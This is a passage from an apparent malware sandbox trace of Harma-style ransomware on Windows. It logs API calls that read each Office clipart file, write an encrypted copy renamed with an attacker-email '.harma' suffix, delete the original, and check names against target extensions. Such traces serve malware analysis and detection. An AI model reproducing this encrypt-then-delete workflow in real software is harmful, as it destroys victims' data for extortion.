dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0165.749] GetLastError () returned 0x0 [0165.749] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x462c, lpOverlapped=0x0) returned 1 [0165.978] WriteFile (in: hFile=0x3a4, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4630, lpOverlapped=0x0) returned 1 [0165.979] ReadFile (in: hFile=0x364, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.979] WriteFile (in: hFile=0x3a4, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0165.979] SetEndOfFile (hFile=0x3a4) returned 1 [0166.033] CloseHandle (hObject=0x3a4) returned 1 [0166.033] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.033] SetEndOfFile (hFile=0x364) returned 1 [0166.037] CloseHandle (hObject=0x364) returned 1 [0166.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0166.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.047] lstrlenW (lpString=".doc") returned 4 [0166.047] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.047] lstrlenW (lpString=".docx") returned 5 [0166.047] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0166.047] lstrlenW (lpString=".pdf") returned 4 [0166.047] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.048] lstrlenW (lpString=".xls") returned 4 [0166.048] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.048] lstrlenW (lpString=".xlsx") returned 5 [0166.048] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0166.048] lstrlenW (lpString=".ppt") returned 4 [0166.048] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.048] lstrlenW (lpString=".zip") returned 4 [0166.048] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.048] lstrlenW (lpString=".rar") returned 4 [0166.048] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.048] lstrlenW (lpString=".bz2") returned 4 [0166.048] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.048] lstrlenW (lpString=".7z") returned 3 [0166.048] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.048] lstrlenW (lpString=".dbf") returned 4 [0166.048] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.048] lstrlenW (lpString=".1cd") returned 4 [0166.048] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.048] lstrlenW (lpString=".jpg") returned 4 [0166.048] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.048] lstrlenW (lpString=".doc") returned 4 [0166.048] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.048] lstrlenW (lpString=".docx") returned 5 [0166.048] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0166.048] lstrlenW (lpString=".pdf") returned 4 [0166.049] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.049] lstrlenW (lpString=".xls") returned 4 [0166.049] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.049] lstrlenW (lpString=".xlsx") returned 5 [0166.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0166.049] lstrlenW (lpString=".ppt") returned 4 [0166.049] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.049] lstrlenW (lpString=".zip") returned 4 [0166.049] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.049] lstrlenW (lpString=".rar") returned 4 [0166.049] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.049] lstrlenW (lpString=".bz2") returned 4 [0166.049] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.049] lstrlenW (lpString=".7z") returned 3 [0166.049] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.049] lstrlenW (lpString=".dbf") returned 4 [0166.049] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.049] lstrlenW (lpString=".1cd") returned 4 [0166.049] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0166.050] lstrlenW (lpString=".jpg") returned 4 [0166.050] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.050] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0166.050] lstrlenW (lpString="J0099197.GIF") returned 12 [0166.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.050] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=10898) returned 1 [0166.051] CloseHandle (hObject=0x39c) returned 1 [0166.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 0x20 [0166.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.051] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.051] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.052] GetLastError () returned 0x0 [0166.052] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2a92, lpOverlapped=0x0) returned 1 [0166.059] WriteFile (in: hFile=0x3ac, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2aa0, lpOverlapped=0x0) returned 1 [0166.060] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.061] WriteFile (in: hFile=0x3ac, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.061] SetEndOfFile (hFile=0x3ac) returned 1 [0166.061] CloseHandle (hObject=0x3ac) returned 1 [0166.061] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.061] SetEndOfFile (hFile=0x39c) returned 1 [0166.063] CloseHandle (hObject=0x39c) returned 1 [0166.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0166.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.064] lstrlenW (lpString=".doc") returned 4 [0166.064] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.064] lstrlenW (lpString=".docx") returned 5 [0166.064] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0166.064] lstrlenW (lpString=".pdf") returned 4 [0166.065] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.065] lstrlenW (lpString=".xls") returned 4 [0166.065] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.065] lstrlenW (lpString=".xlsx") returned 5 [0166.065] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0166.067] lstrlenW (lpString=".ppt") returned 4 [0166.067] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.067] lstrlenW (lpString=".zip") returned 4 [0166.067] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.067] lstrlenW (lpString=".rar") returned 4 [0166.067] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.068] lstrlenW (lpString=".bz2") returned 4 [0166.068] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.068] lstrlenW (lpString=".7z") returned 3 [0166.068] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.068] lstrlenW (lpString=".dbf") returned 4 [0166.068] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.068] lstrlenW (lpString=".1cd") returned 4 [0166.068] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.068] lstrlenW (lpString=".jpg") returned 4 [0166.068] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.068] lstrlenW (lpString=".doc") returned 4 [0166.068] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.068] lstrlenW (lpString=".docx") returned 5 [0166.068] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0166.068] lstrlenW (lpString=".pdf") returned 4 [0166.068] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.068] lstrlenW (lpString=".xls") returned 4 [0166.068] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.068] lstrlenW (lpString=".xlsx") returned 5 [0166.068] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0166.068] lstrlenW (lpString=".ppt") returned 4 [0166.068] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.068] lstrlenW (lpString=".zip") returned 4 [0166.068] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.069] lstrlenW (lpString=".rar") returned 4 [0166.069] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.069] lstrlenW (lpString=".bz2") returned 4 [0166.069] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.069] lstrlenW (lpString=".7z") returned 3 [0166.069] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.069] lstrlenW (lpString=".dbf") returned 4 [0166.069] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.069] lstrlenW (lpString=".1cd") returned 4 [0166.069] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0166.069] lstrlenW (lpString=".jpg") returned 4 [0166.069] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.069] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0166.069] lstrlenW (lpString="J0099198.GIF") returned 12 [0166.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.070] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5259) returned 1 [0166.070] CloseHandle (hObject=0x39c) returned 1 [0166.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 0x20 [0166.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.071] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.071] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.072] GetLastError () returned 0x0 [0166.072] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x148b, lpOverlapped=0x0) returned 1 [0166.074] WriteFile (in: hFile=0x3ac, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0166.075] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.075] WriteFile (in: hFile=0x3ac, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.075] SetEndOfFile (hFile=0x3ac) returned 1 [0166.075] CloseHandle (hObject=0x3ac) returned 1 [0166.075] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.075] SetEndOfFile (hFile=0x39c) returned 1 [0166.077] CloseHandle (hObject=0x39c) returned 1 [0166.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0166.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.079] lstrlenW (lpString=".doc") returned 4 [0166.079] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.079] lstrlenW (lpString=".docx") returned 5 [0166.079] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0166.079] lstrlenW (lpString=".pdf") returned 4 [0166.079] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.079] lstrlenW (lpString=".xls") returned 4 [0166.079] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.079] lstrlenW (lpString=".xlsx") returned 5 [0166.079] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0166.079] lstrlenW (lpString=".ppt") returned 4 [0166.079] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.079] lstrlenW (lpString=".zip") returned 4 [0166.079] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.079] lstrlenW (lpString=".rar") returned 4 [0166.079] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.079] lstrlenW (lpString=".bz2") returned 4 [0166.079] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.079] lstrlenW (lpString=".7z") returned 3 [0166.079] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.079] lstrlenW (lpString=".dbf") returned 4 [0166.079] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.080] lstrlenW (lpString=".1cd") returned 4 [0166.080] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.080] lstrlenW (lpString=".jpg") returned 4 [0166.080] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.080] lstrlenW (lpString=".doc") returned 4 [0166.080] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.080] lstrlenW (lpString=".docx") returned 5 [0166.080] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0166.080] lstrlenW (lpString=".pdf") returned 4 [0166.080] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.080] lstrlenW (lpString=".xls") returned 4 [0166.080] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.080] lstrlenW (lpString=".xlsx") returned 5 [0166.080] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0166.080] lstrlenW (lpString=".ppt") returned 4 [0166.080] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.080] lstrlenW (lpString=".zip") returned 4 [0166.081] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.081] lstrlenW (lpString=".rar") returned 4 [0166.081] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.081] lstrlenW (lpString=".bz2") returned 4 [0166.081] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.081] lstrlenW (lpString=".7z") returned 3 [0166.081] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.081] lstrlenW (lpString=".dbf") returned 4 [0166.081] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.081] lstrlenW (lpString=".1cd") returned 4 [0166.081] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0166.081] lstrlenW (lpString=".jpg") returned 4 [0166.081] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.081] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0166.081] lstrlenW (lpString="J0099199.GIF") returned 12 [0166.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.082] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=33975) returned 1 [0166.082] CloseHandle (hObject=0x39c) returned 1 [0166.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 0x20 [0166.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.083] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.083] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.084] GetLastError () returned 0x0 [0166.084] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x84b7, lpOverlapped=0x0) returned 1 [0166.324] WriteFile (in: hFile=0x3ac, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x84c0, lpOverlapped=0x0) returned 1 [0166.325] ReadFile (in: hFile=0x39c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, 